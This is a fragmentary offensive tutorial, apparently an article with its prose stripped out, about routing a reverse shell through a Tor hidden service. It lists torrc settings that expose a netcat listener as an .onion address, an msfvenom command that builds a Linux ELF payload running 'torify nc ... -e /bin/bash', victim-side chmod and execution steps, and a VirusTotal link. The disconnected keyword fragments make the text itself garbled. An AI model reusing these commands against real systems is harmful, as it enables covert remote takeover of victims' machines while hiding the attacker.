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/etc/tor/

hostname

https://www.torproject.org/docs/tor-hidden-service.html.en


private_key

############### This section is just for location-hidden services ### 
 
## Once you have configured a hidden service, you can look at the 
## contents of the file ".../hidden_service/hostname" for the address 
## to tell people. 
##  
## HiddenServicePort x y:z says to redirect requests on port x to the 
## address y:z. 
 
#HiddenServiceDir /var/lib/tor/hidden_service/ 
#HiddenServicePort 80 127.0.0.1:80

hostname /var/lib/tor/hidden_service/

HiddenServicePort

torify

 netcat

Attacker > nc –v –l 1234 127.0.0.1 

 .onion

torrc

HiddenServiceDir /var/lib/tor/nc_hidden_service/ 

HiddenServicePort 1234 127.0.0.1:1234

.onion hostname

vks3v4ilo4tgud7h.onion

Attacker > service tor restart



 msfvenom

linux/x86/exec

netcat .o

Attacker > msfvenom -p linux/x86/exec CMD="torify nc vks3v4ilo4tgud7h.onion 1234 -e /bin/bash" 
-f elf R > poc 

 

Victim > chmod +x poc 

Victim > ./poc 

 netcat

torify

torify

https://virustotal.com/en/file/94dbb6410cd77d3d463b31cfde4e2f190658d7a8a586daddead27f6c02f5b87b/analysis/1471415690/
https://virustotal.com/en/file/94dbb6410cd77d3d463b31cfde4e2f190658d7a8a586daddead27f6c02f5b87b/analysis/1471415690/
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